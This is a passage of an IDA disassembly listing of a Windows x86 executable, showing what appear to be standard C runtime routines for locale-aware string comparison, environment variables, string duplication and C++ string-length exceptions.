var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423C80
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_489798, ebx
		push	1
		pop	edi
		jnz	short loc_421F8D
		push	edi
		mov	eax, offset dword_4238D0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_423008	; CompareStringW
		test	eax, eax
		jz	short loc_421F6A
		mov	dword_489798, edi
		jmp	short loc_421F8D
; ---------------------------------------------------------------------------

loc_421F6A:				; CODE XREF: sub_421F1A+46j
		push	edi
		mov	eax, offset dword_43BCF8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42300C	; CompareStringA
		test	eax, eax
		jz	loc_422183
		mov	dword_489798, 2

loc_421F8D:				; CODE XREF: sub_421F1A+31j
					; sub_421F1A+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_421FA4
		push	esi
		push	[ebp+arg_8]
		call	sub_41E62D
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_421FA4:				; CODE XREF: sub_421F1A+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_421FB9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41E62D
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_421FB9:				; CODE XREF: sub_421F1A+8Dj
		mov	eax, dword_489798
		cmp	eax, 2
		jnz	short loc_421FDE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42300C	; CompareStringA
		jmp	loc_422185
; ---------------------------------------------------------------------------

loc_421FDE:				; CODE XREF: sub_421F1A+A7j
		cmp	eax, edi
		jnz	loc_422183
		cmp	[ebp+arg_18], ebx
		jnz	short loc_421FF3
		mov	eax, dword_489550
		mov	[ebp+arg_18], eax

loc_421FF3:				; CODE XREF: sub_421F1A+CFj
		cmp	esi, ebx
		jz	short loc_422000
		cmp	[ebp+arg_14], ebx
		jnz	loc_422098

loc_422000:				; CODE XREF: sub_421F1A+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_42200D

loc_422005:				; CODE XREF: sub_421F1A+13Cj
					; sub_421F1A+16Dj
		push	2

loc_422007:				; CODE XREF: sub_421F1A+146j
		pop	eax
		jmp	loc_422185
; ---------------------------------------------------------------------------

loc_42200D:				; CODE XREF: sub_421F1A+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_422019

loc_422012:				; CODE XREF: sub_421F1A+151j
					; sub_421F1A+159j ...
		mov	eax, edi
		jmp	loc_422185
; ---------------------------------------------------------------------------

loc_422019:				; CODE XREF: sub_421F1A+F6j
		cmp	esi, edi
		jg	short loc_42205E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_4231CC	; GetCPInfo
		test	eax, eax
		jz	loc_422183
		cmp	esi, ebx
		jle	short loc_422062
		cmp	[ebp+var_3C], 2
		jb	short loc_42205E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42205E

loc_422044:				; CODE XREF: sub_421F1A+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42205E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422058
		cmp	cl, dl
		jbe	short loc_422005

loc_422058:				; CODE XREF: sub_421F1A+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422044

loc_42205E:				; CODE XREF: sub_421F1A+101j
					; sub_421F1A+120j ...
		push	3
		jmp	short loc_422007
; ---------------------------------------------------------------------------

loc_422062:				; CODE XREF: sub_421F1A+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422098
		cmp	[ebp+var_3C], 2
		jb	short loc_422012
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_422012

loc_422075:				; CODE XREF: sub_421F1A+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_422012
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42208D
		cmp	cl, dl
		jbe	loc_422005

loc_42208D:				; CODE XREF: sub_421F1A+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422075
		jmp	loc_422012
; ---------------------------------------------------------------------------

loc_422098:				; CODE XREF: sub_421F1A+E0j
					; sub_421F1A+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_423070	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422183
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220E7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4220E7:				; CODE XREF: sub_421F1A+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422183
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_423070
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422183
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422183
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417830
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422152
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_422152:				; CODE XREF: sub_421F1A+224j
		cmp	edi, ebx
		jz	short loc_422183
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_423070	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422183
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423008	; CompareStringW
		jmp	short loc_422185
; ---------------------------------------------------------------------------

loc_422183:				; CODE XREF: sub_421F1A+63j
					; sub_421F1A+C6j ...
		xor	eax, eax

loc_422185:				; CODE XREF: sub_421F1A+BFj
					; sub_421F1A+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421F1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422197	proc near		; CODE XREF: sub_421EAC+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4221FB
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4223DD
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4221FB
		cmp	[ebp+arg_0], esi
		jz	short loc_4221FB
		mov	eax, dword_4894D4
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4894D8
		jnz	short loc_4221E1
		push	eax
		call	sub_422376
		pop	ecx
		mov	dword_4894D4, eax

loc_4221E1:				; CODE XREF: sub_422197+3Cj
		cmp	eax, edi
		jnz	short loc_422239
		cmp	[ebp+arg_4], edi
		jz	short loc_422203
		cmp	dword_4894DC, edi
		jz	short loc_422203
		call	sub_421EAC
		test	eax, eax
		jz	short loc_422239

loc_4221FB:				; CODE XREF: sub_422197+Dj
					; sub_422197+22j ...
		or	eax, 0FFFFFFFFh

loc_4221FE:				; CODE XREF: sub_422197+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422203:				; CODE XREF: sub_422197+51j
					; sub_422197+59j
		cmp	ebx, edi
		jnz	loc_422317
		push	4
		call	sub_417889
		cmp	eax, edi
		pop	ecx
		mov	dword_4894D4, eax
		jz	short loc_4221FB
		mov	[eax], edi
		cmp	dword_4894DC, edi
		jnz	short loc_422239
		push	4
		call	sub_417889
		cmp	eax, edi
		pop	ecx
		mov	dword_4894DC, eax
		jz	short loc_4221FB
		mov	[eax], edi

loc_422239:				; CODE XREF: sub_422197+4Cj
					; sub_422197+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4894D4
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_42231E
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422299
		cmp	dword ptr [edi], 0
		jz	short loc_422299
		test	ebx, ebx
		jz	short loc_422291
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41793B
		pop	ecx

loc_42226B:				; CODE XREF: sub_422197+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42227B
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42226B
; ---------------------------------------------------------------------------

loc_42227B:				; CODE XREF: sub_422197+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41914F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4222CB
		jmp	short loc_4222C6
; ---------------------------------------------------------------------------

loc_422291:				; CODE XREF: sub_422197+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4222CB
; ---------------------------------------------------------------------------

loc_422299:				; CODE XREF: sub_422197+BDj
					; sub_422197+C2j
		test	ebx, ebx
		jnz	short loc_422317
		test	esi, esi
		jge	short loc_4222A3
		neg	esi

loc_4222A3:				; CODE XREF: sub_422197+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41914F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4221FB
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4222C6:				; CODE XREF: sub_422197+F8j
		mov	dword_4894D4, eax

loc_4222CB:				; CODE XREF: sub_422197+F6j
					; sub_422197+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422317
		push	[ebp+arg_0]
		call	sub_4177B0
		inc	eax
		inc	eax
		push	eax
		call	sub_417889
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422317
		push	[ebp+arg_0]
		push	esi
		call	sub_4176C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_423004	; SetEnvironmentVariableA
		push	esi
		call	sub_41793B
		pop	ecx

loc_422317:				; CODE XREF: sub_422197+6Ej
					; sub_422197+104j ...
		xor	eax, eax
		jmp	loc_4221FE
sub_422197	endp


; =============== S U B	R O U T	I N E =======================================



sub_42231E	proc near		; CODE XREF: sub_422197+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4894D4
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422359
		mov	edi, [esp+8+arg_4]

loc_422330:				; CODE XREF: sub_42231E+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_421E6D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42234F
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422369
		test	al, al
		jz	short loc_422369

loc_42234F:				; CODE XREF: sub_42231E+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_422330

loc_422359:				; CODE XREF: sub_42231E+Cj
		mov	eax, esi
		sub	eax, dword_4894D4
		sar	eax, 2
		neg	eax

loc_422366:				; CODE XREF: sub_42231E+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422369:				; CODE XREF: sub_42231E+2Bj
					; sub_42231E+2Fj
		mov	eax, esi
		sub	eax, dword_4894D4
		sar	eax, 2
		jmp	short loc_422366
sub_42231E	endp


; =============== S U B	R O U T	I N E =======================================



sub_422376	proc near		; CODE XREF: sub_422197+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422385
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_422385:				; CODE XREF: sub_422376+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422397

loc_42238D:				; CODE XREF: sub_422376+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_42238D

loc_422397:				; CODE XREF: sub_422376+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417889
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4223B8
		push	9
		call	sub_4199DA
		pop	ecx

loc_4223B8:				; CODE XREF: sub_422376+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4223BC:				; CODE XREF: sub_422376+5Bj
		test	eax, eax
		jz	short loc_4223D3
		push	eax
		add	ebx, 4
		call	sub_422450
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4223BC
; ---------------------------------------------------------------------------

loc_4223D3:				; CODE XREF: sub_422376+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422376	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223DD	proc near		; CODE XREF: sub_422197+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_48A8FC, 0
		jnz	short loc_4223F8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418C50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4223F8:				; CODE XREF: sub_4223DD+Aj
		mov	ecx, [ebp+arg_0]

loc_4223FB:				; CODE XREF: sub_4223DD+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_42243E
		movzx	edx, al
		test	byte_48AA01[edx], 4
		jz	short loc_42242A
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422435
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422439
		jmp	short loc_422432
; ---------------------------------------------------------------------------

loc_42242A:				; CODE XREF: sub_4223DD+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_42243E

loc_422432:				; CODE XREF: sub_4223DD+4Bj
		inc	ecx
		jmp	short loc_4223FB
; ---------------------------------------------------------------------------

loc_422435:				; CODE XREF: sub_4223DD+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422439:				; CODE XREF: sub_4223DD+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42243E:				; CODE XREF: sub_4223DD+25j
					; sub_4223DD+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4223DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_422450	proc near		; CODE XREF: sub_40A610+21p
					; sub_422376+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422477
		push	esi
		call	sub_4177B0
		inc	eax
		push	eax
		call	sub_417889
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422477
		push	esi
		push	eax
		call	sub_4176C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422477:				; CODE XREF: sub_422450+7j
					; sub_422450+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_422450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422480	proc near		; CODE XREF: sub_422563+19p
					; sub_42268A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_4177B0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_404658
		mov	eax, esi
		pop	esi
		retn	8
sub_422480	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224AA	proc near		; CODE XREF: .data:004224D5p
					; sub_422558+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C9C
		call	sub_404620
		mov	ecx, esi
		pop	esi
		jmp	sub_4228A6
sub_4224AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224C5	proc near		; DATA XREF: .data:00423CA0o
					; .data:00423CB0o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4224D1
		mov	eax, offset dword_423288

locret_4224D1:				; CODE XREF: sub_4224C5+5j
		retn
sub_4224C5	endp

; ---------------------------------------------------------------------------

loc_4224D2:				; DATA XREF: .data:off_423C9Co
		push	esi
		mov	esi, ecx
		call	sub_4224AA
		test	byte ptr [esp+8], 1
		jz	short loc_4224E8
		push	esi
		call	sub_417FAF
		pop	ecx

loc_4224E8:				; CODE XREF: .data:004224DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4224EE	proc near		; CODE XREF: sub_422563+29p
		mov	eax, offset loc_422E22
		call	sub_417F90
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_423CB8
		call	sub_42281F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C9C
		call	sub_4225A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_423CAC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4224EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42253C	proc near		; DATA XREF: .data:off_423CACo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422558
		test	[esp+4+arg_0], 1
		jz	short loc_422552
		push	esi
		call	sub_417FAF
		pop	ecx

loc_422552:				; CODE XREF: sub_42253C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42253C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422558	proc near		; CODE XREF: sub_42253C+3p
					; DATA XREF: .data:00424010o
		mov	dword ptr [ecx], offset	off_423CAC
		jmp	sub_4224AA
sub_422558	endp


; =============== S U B	R O U T	I N E =======================================



sub_422563	proc near		; CODE XREF: sub_4044CD+13p
					; sub_40468D+Ep
		mov	eax, offset loc_422E34
		call	sub_417F90
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422480
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4224EE
		push	offset dword_42400C
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4228C9
		int	3		; Trap to Debugger
sub_422563	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4225A0	proc near		; CODE XREF: sub_4224EE+32p
					; sub_4225C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_4044CD
		mov	eax, esi
		pop	esi
		retn	4
sub_4225A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4225C0	proc near		; CODE XREF: sub_42268A+29p
		mov	eax, offset loc_422E46
		call	sub_417F90
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_423CB8
		call	sub_42281F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C9C
		call	sub_4225A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4225C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422608	proc near		; CODE XREF: sub_422672+7p
					; sub_4226CE+7p ...
		mov	eax, offset loc_422E58
		call	sub_417F90
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42285C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C9C
		call	sub_4225A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================



sub_42264B	proc near		; DATA XREF: .data:off_423CD8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422667
		test	[esp+4+arg_0], 1
		jz	short loc_422661
		push	esi
		call	sub_417FAF
		pop	ecx

loc_422661:				; CODE XREF: sub_42264B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42264B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422667	proc near		; CODE XREF: sub_42264B+3p
					; DATA XREF: .data:004240B8o
		mov	dword ptr [ecx], offset	off_423CD8
		jmp	sub_4224AA
sub_422667	endp


; =============== S U B	R O U T	I N E =======================================



sub_422672	proc near		; CODE XREF: sub_4226E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422608
		mov	dword ptr [esi], offset	off_423CAC
		mov	eax, esi
		pop	esi
		retn	4
sub_422672	endp


; =============== S U B	R O U T	I N E =======================================



sub_42268A	proc near		; CODE XREF: sub_40441B+12p
					; sub_404475+12p ...
		mov	eax, offset loc_422E6A
		call	sub_417F90
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422480
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4225C0
		push	offset dword_4240B4
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_423CD8
		call	sub_4228C9
		int	3		; Trap to Debugger
sub_42268A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4226CE	proc near		; CODE XREF: sub_4226E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422608
		mov	dword ptr [esi], offset	off_423CD8
		mov	eax, esi
		pop	esi
		retn	4
sub_4226CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226E6	proc near		; DATA XREF: .data:00423CA4o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422608
		push	offset dword_4240F4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4228C9
		int	3		; Trap to Debugger

loc_422704:				; DATA XREF: .data:00423CE0o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4226CE
		push	offset dword_4240B4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4228C9
		int	3		; Trap to Debugger

loc_422722:				; DATA XREF: .data:00423CB4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422672
		push	offset dword_42400C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4228C9
		int	3		; Trap to Debugger
sub_4226E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422740	proc near		; CODE XREF: sub_404904+6Cp
		jmp	dword_4231D8
sub_422740	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422746	proc near		; CODE XREF: sub_403DAF+5Ep
					; sub_405285+157p
		jmp	dword_423210
sub_422746	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42274C	proc near		; CODE XREF: sub_417BFC+23p
					; sub_417EA0+13p
		jmp	dword_423188
sub_42274C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422752	proc near		; CODE XREF: sub_4091D7+E2p
					; sub_4091D7+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_489540, 0
		push	ebx
		jnz	short loc_422798
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_422764:				; CODE XREF: sub_422752+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422776
		cmp	bx, 41h
		jb	short loc_422776
		add	ebx, 20h

loc_422776:				; CODE XREF: sub_422752+19j
					; sub_422752+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422788
		cmp	ax, 41h
		jb	short loc_422788
		add	eax, 20h

loc_422788:				; CODE XREF: sub_422752+2Bj
					; sub_422752+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4227C8
		cmp	bx, ax
		jz	short loc_422764
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------

loc_422798:				; CODE XREF: sub_422752+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4227A2:				; CODE XREF: sub_422752+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422903
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422903
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4227C6
		cmp	bx, ax
		jz	short loc_4227A2

loc_4227C6:				; CODE XREF: sub_422752+6Dj
		pop	edi
		pop	esi

loc_4227C8:				; CODE XREF: sub_422752+3Dj
					; sub_422752+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422752	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227D2	proc near		; CODE XREF: .data:004227EAp
		mov	dword ptr [ecx], offset	off_423CF8
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4227E6
		push	ecx
		call	sub_41793B
		pop	ecx

locret_4227E6:				; CODE XREF: sub_4227D2+Bj
		retn
sub_4227D2	endp

; ---------------------------------------------------------------------------

loc_4227E7:				; DATA XREF: .data:off_423CF8o
		push	esi
		mov	esi, ecx
		call	sub_4227D2
		test	byte ptr [esp+8], 1
		jz	short loc_4227FD
		push	esi
		call	sub_417FAF
		pop	ecx

loc_4227FD:				; CODE XREF: .data:004227F4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_422803:				; DATA XREF: .data:off_423D00o
		push	esi
		mov	esi, ecx
		call	sub_4228A6
		test	byte ptr [esp+8], 1
		jz	short loc_422819
		push	esi
		call	sub_417FAF
		pop	ecx

loc_422819:				; CODE XREF: .data:00422810j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42281F	proc near		; CODE XREF: sub_4224EE+1Dp
					; sub_4225C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
